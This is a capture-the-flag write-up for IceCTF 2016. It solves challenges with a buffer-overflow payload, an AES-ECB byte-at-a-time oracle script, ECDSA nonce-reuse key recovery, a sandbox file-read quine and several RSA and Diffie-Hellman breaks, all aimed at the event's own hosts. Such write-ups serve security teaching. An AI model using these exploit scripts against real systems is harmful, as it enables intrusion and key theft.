Rating:

# IceCTF Solutions

This page contains some of the challenges I solved during IceCTF '16.

## Reconnaissance & Forensics
### Complacement (40 p)


These silly bankers have gotten pretty complacent with their self signed SSL certificate.
I wonder if there's anything in there. [complacent.vuln.icec.tf]


![Complacement](images/complacement.png)

### Time Traveler (45 p)


I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time.


Let us try the Wayback Machine!

![Wayback](images/wayback.png)

### Audio problems (45 p)

We intercepted this audio signal, it sounds like there could be something hidden in it.
Can you take a look and see if you can find anything?


In Audacity, we can get the spectrum:

![Audio problems](images/audio.png)

Feels like I've solved this very same problem a couple of times now... get creative problem makers!

##Web
### Toke (45 p)

I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...

We create an account and look at the tokens. There is a jwt_token, containing


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNEN
FX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s


Let us decode it! Among other things, we get

IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}

### Kitty (80 p)


They managed to secure their website this time and moved the hashing to the server :(.

c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.

Can you get the flag? [kitty.vuln.icec.tf]


OK, trying the most simple and obvious... reversing the hash works! The password is Vo83*. If we login as admin with the password we found, we see:



##Pwn
### Demo (55 p)


I found this awesome premium shell, but my demo version just ran out...
can you help me crack it? /home/demo/ on the shell.


This is probably not the intended solution. Trying to execute _=icesh && ./demo does not work in zsh, but it does in sh. This requires no spoofing for argv[0], and thus no execve code. Less work!


[ctf-67751@icectf-shell-2016 /home/demo]$sh$ _=icesh && ./demo
$cat flag.txt IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}  ### Smashing Profit! (60 p)  Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers! /home/profit/ on the shell.  OK, let us go to the shell. Not surprisingly, profit suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ 0x804850b which would be suitable to call: ![Profit](images/profit.png) Here is how to exploit the buffer overflow to call the above function:  [ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profit
Smashing the stack for fun and...?
IceCTF{who_would_have_thunk?}
[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' |
25263 segmentation fault ./profit


### Quine I/II (90p / 125p)

This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).

So, in pseudo code:

python
if 'some_file' exists:
c += 1
if c < 19:
print flag with system() call
write('some_file', c)
else:
create('some_file')
write('some_file', 0)

We noticed that the code is located in ./sandbox/[random token]-[time], so maybe the flag is ../../flag.txt. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like

c
const char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};
#include <stdio.h>
int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}


Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from ../../flag.txt it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with IceCTF{, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:

python
import sys
guess = 'I' # the first char of the flag
length = 1
data = '''};
#include <stdio.h>
int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''
quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess


We call it with


$python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500 ... //I  Now this is where things get interesting! The code obviously works for I, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after //. So, by setting the read length (length = sys.argv[1]) sufficiently large, we can submit auto-generated code as follows: $ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500
...
//IceCTF{the_flags_of_our_quines}

$python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501 ... //IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}  Great! Two challenges solved with two almost identical quines :-D ##Crypto ### RSA? (50 p)  John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt  OK, let us see that flag.txt contains $ cat flag.txt

e=0x1

c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d



John used exponent 0x1, so m is enevitably the same as c. Therefore, solving this challenge is no harder than libnum.n2s(c), which prints

IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

### RSA (60 p)


This time John managed to use RSA " correctly "&ellipsis;
I think he still made some mistakes though. flag.txt


Let us take a look...


$cat flag.txt N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b e=0x10001 phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0 d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481 c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469  We have d (and ϕ), so libnum.n2s(pow(c,d,N)) gives  IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}  ### RSA2 (60 p)  I guess the 3rd time is the charm? Or not... flag.txt$ cat flag.txt

e=0x10001



Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.

The code

python
phi = (57970027 - 1) * (N / 57970027 - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, N))


prints


IceCTF{next_time_check_your_keys_arent_factorable}


### l33tcrypt (90 p)


l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag!
Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py


The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.

python
def server(string):
ciphertext = encrypt(string + flag + padding)
return b64encode(ciphertext)


The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with AAAAAAAAAAAAAAAA and where ???... corresponds to the flag. The last char in the block is the first byte of the flag.



... AAAAAAAAAAAAAAAA? ????????????????
|----------------|-----------------|----------------|

0xb4ff343...



We save the current block value 0xb4ff343.... Now, we run the guessing procedure:



... AAAAAAAAAAAAAAAAx ????????????????
|----------------|-----------------|----------------|

x = 'G' 0x57388f8...
x = 'H' 0x343409f...
X = 'I' 0xb4ff343... <-- correct guess



Obviously, we can choose a block AAAAAAAAAAAAAAA?? and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:

python
import base64, socket, string

def oracle(plaintext):
s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001))
s.recv(1024)
s.recv(1024)
s.send(base64.b64encode(magic + plaintext) + '\n')
s.recv(1024)
return base64.b64decode(s.recv(1024))

known_prefix = 'IceCTF{'

print '[+] Running trying plaintexts...'

while True:

i = 16 * 4 - 2 - len(known_prefix)

reference = oracle(i * 'A')[0:80]

for guess in '_' + string.ascii_letters + string.digits + '}':
if reference == oracle(i * 'A' + known_prefix + guess)[0:80]:
known_prefix = known_prefix + guess
print known_prefix
break

if guess == '}':
print '[+] DONE!'
break


The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag

IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}

### Over the Hill (65 p)


Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted


We are given a matrix and a ciphertext

python
secret = [[54, 53, 28, 20, 54, 15, 12, 7],
[32, 14, 24, 5, 63, 12, 50, 52],
[63, 59, 40, 18, 55, 33, 17, 3],
[63, 34, 5, 4, 56, 10, 53, 16],
[35, 43, 45, 53, 12, 42, 35, 37],
[20, 59, 42, 10, 46, 56, 12, 61],
[26, 39, 27, 59, 44, 54, 23, 56],
[32, 31, 56, 47, 31, 2, 29, 41]]

ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"


Looks like a Hill cipher... the name vaguely suggests it... :-)

python

import numpy
from sage.all import *

alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")
n = len(alphabet)

Zn = IntegerModRing(n)

secret = [[54, 53, 28, 20, 54, 15, 12, 7],
[32, 14, 24, 5, 63, 12, 50, 52],
[63, 59, 40, 18, 55, 33, 17, 3],
[63, 34, 5, 4, 56, 10, 53, 16],
[35, 43, 45, 53, 12, 42, 35, 37],
[20, 59, 42, 10, 46, 56, 12, 61],
[26, 39, 27, 59, 44, 54, 23, 56],
[32, 31, 56, 47, 31, 2, 29, 41]]

secret = matrix(Zn, secret).inverse()
ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"

blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]

plaintext = ''

for block in blocks:
decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose()
plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block)

print plaintext



Invoked with sage -python over_the_hill.py gives

IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}

### Round Rabins (70 p)

Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that N is square. OK, great.

python

import libnum

c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b

x = libnum.common.nroot(N, 2)
assert(N == x ** 2)



The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP factor(x^2 - Mod(c%p,p)). We now have the square roots

python
m1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494
m2 = p - m1


We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows

python
q = (c - m1 ** 2) / p
l = q * libnum.modular.invmod(2 * m1, p)
m = m1 + l * p

print libnum.n2s(m % N)


Running this, we get the flag

IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}

### Contract (130 p)


Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng


This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.
Embodied in Python, the attack is performed as follows.

python
import hashlib, libnum, binascii, socket
from ecdsa import VerifyingKey, SigningKey

def send(message):
s = socket.create_connection(('contract.vuln.icec.tf', 6002))
s.send(message + '\n')
print s.recv(1024)
print s.recv(1024)
return

PUBLIC_KEY = '''
-----BEGIN PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCB
sQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdY
I7sGDvd9eUias/xPdSIL3gMbs26b0Ww0
-----END PUBLIC KEY-----
'''

vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())
n = vk.pubkey.order

msg1, sig1 = help_cmd.split(':')
msg2, sig2 = time_cmd.split(':')
z1 = int(hashlib.sha256(msg1).hexdigest(), 16)
z2 = int(hashlib.sha256(msg2).hexdigest(), 16)
r1 = int(sig1[0 : len(sig1)/2], 16)
s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)
r2 = int(sig2[0 : len(sig2)/2], 16)
s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)

k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % n
d = (s1 * k - z1) * libnum.modular.invmod(r1, n) % n
sk = SigningKey.from_secret_exponent(d, curve=vk.curve)



Once run, the server responds

IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}


### Flagstaff (160 p)


Someone hid his flag here... guess we better give up.

nc flagstaff.vuln.icec.tf 6003 server.py


The task is to find a ciphertext which decrypts to flag + padding.

python
import socket, base64

def send(commands):
s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003))
s.recv(1024)
print s.recv(1024)
for cmd in commands:
print '>> Sending:', cmd
s.send(cmd + '\n')
data = s.recv(1024).strip('\n')
s.recv(1024)
return data

data = 'flag' + '\x0c' * 0xc
encrypted = send(['decrypt', base64.b64encode(data + data)])
c = base64.b64decode(encrypted)[0:16]
data = send(['secret', base64.b64encode(c + data)])
data = send(['decrypt', data])
print 'FLAG:', base64.b64decode(data)


Running the code, we get


Send me a command:
>> Sending: decrypt
>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=
Send me a command:
>> Sending: secret
>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=
Send me a command:
>> Sending: decrypt
FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}


### Attack of the Hellman! (200 p)


We managed to intercept a flag transmission but it was encrypted :(.
We got the Diffie-Hellman public key exchange parameters and some
scripts they used for the transmission along with the encrypted flag.

Can you get it for us?


According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.

python
import base36

table = {}
S = 0

print '[-] Generating table...'

for i in range(0, 2**33, 2**20): # sufficient bounds
table[pow(g, i, p)] = i

print '[-] Performing look-up in table...'

for i in range(0, 2**18):
B = (B * g) % p
if B in table:
print ' >> B = g ^', table[B] - i
S = pow(A, table[B] - i, p)
break

print '[+] Key found:\n\n', base36.dumps(S), '\n'


I saved the code as hellman.py and did the following terminal magic:


$python hellman.py [-] Generating table... [-] Performing look-up in table... >> B = g ^ 4856995548 [+] Key found: 1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txt
`